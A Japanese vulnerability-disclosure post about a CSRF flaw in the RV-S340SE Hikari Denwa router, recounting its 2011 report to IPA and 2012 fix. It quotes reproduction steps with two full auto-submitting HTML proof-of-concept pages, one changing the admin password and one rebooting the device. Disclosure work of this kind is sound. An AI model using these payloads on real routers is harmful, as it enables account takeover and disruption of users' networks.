ひかり電話ルータ 「RV-S340SE」におけるクロスサイトリクエストフォージェリ(CSRF)の脆弱性が修正された
2012 年 12 月、ひかり電話ルータ「RV-S340SE」におけるクロスサイトリクエストフォージェリ(CSRF)の脆弱性が修正されました。2011 年 9 月 26 日に IPA にこの脆弱性を報告したところ、2014 年 10 月に脆弱性情報が公表されずに取扱終了となりました。取扱終了となった理由は、「RV-440MI」の脆弱性と同様でした。
脆弱性の再現手順
IPA に報告した脆弱性関連情報(様式)から再現手順を引用します。
2. 脆弱性関連情報 (snip) 2) 脆弱性を確認したソフトウエア等に関する情報 名称:ひかり電話ルータ (RV-S340SE) バージョン:14.07 (snip) 3) 脆弱性の種類 クロスサイト・リクエスト・フォージェリ 4) 再現手順 RV-S340SE のウェブ管理インターフェイスに特定のパラメータと値 を送信させるウェブページに、RV-S340SE にログインした利用者を 誘導することでクロスサイト・リクエスト・フォージェリが再現で きます。 この再現手順では、「RV-S340SE のウェブ管理インターフェイスの パスワードを変更させる」、「RV-S340SE を再起動させる」、2 つ の手順を示します。 ■「RV-S340SE のウェブ管理インターフェイスのパスワードを変更させる」 (1) 以下の内容の html ファイルをウェブサーバに設置する。 この html ファイル中の 192.168.0.1 は、RV-S340SE の LAN 側 IP アドレスとなります。 ------------------------------ <html> <head><title>RV-S340SE CSRF(change password) PoC</title></head> <body onLoad="document.getElementById('form0').submit();"> <form id="form0" action="http://192.168.0.1/cgi-bin/main.cgi" method="post"> <input type="hidden" name="mbg_webname" value="loginpass_user_input"> <input type="hidden" name="config_no" value="1"> <input type="hidden" name="loginpass_user_pass" value="exploit"> <input type="hidden" name="loginpass_user_passcfm" value="exploit"> <input type="hidden" name="mbg_set" value="設定"> <input type="submit" value="exploit"> </form> </body> </html> ------------------------------ (2) RV-S340SE にウェブブラウザでアクセスして認証する。 (3) (2) で RV-S340SE にログインしたウェブブラウザで、(1) の html ファイルにアクセスする。 当該 html ファイルでは JavaScript により自動的に POST リクエストを送信するため、ウェブブラウザでは JavaScript を有効にしておくこと。 (4) 別のウェブブラウザから RV-S340SE にアクセスして認証する。 このとき、パスワードには「exploit」を指定する。 (2) でログインしたときのパスワードが (1) で指定したパス ワード「exploit」に変わっていることを確認できます。 ■「RV-S340SE を再起動させる」 (1) 以下の内容の html ファイルをウェブサーバに設置する。 この html ファイル中の 192.168.0.1 は、RV-S340SE の LAN 側 IP アドレスとなります。 ------------------------------ <html> <head><title>RV-S340SE CSRF(Reboot) PoC</title></head> <body onLoad="document.getElementById('form0').submit();"> <form id="form0" action="http://192.168.0.1/cgi-bin/main.cgi" method="post"> <input type="hidden" name="mbg_webname" value="reboot"> <input type="hidden" name="config_no" value="1"> <input type="hidden" name="mbg_reboot_set" value="再起動"> <input type="submit" value="exploit"> </form> </body> </html> ------------------------------ (2) RV-S340SE にウェブブラウザでアクセスして認証する。 (3) (2) で RV-S340SE にログインしたウェブブラウザで、(1) の html ファイルにアクセスする。 当該 html ファイルでは JavaScript により自動的に POST リクエストを送信するため、ウェブブラウザでは JavaScript を有効にしておくこと。 (4) RV-S340SE が再起動することを確認できます。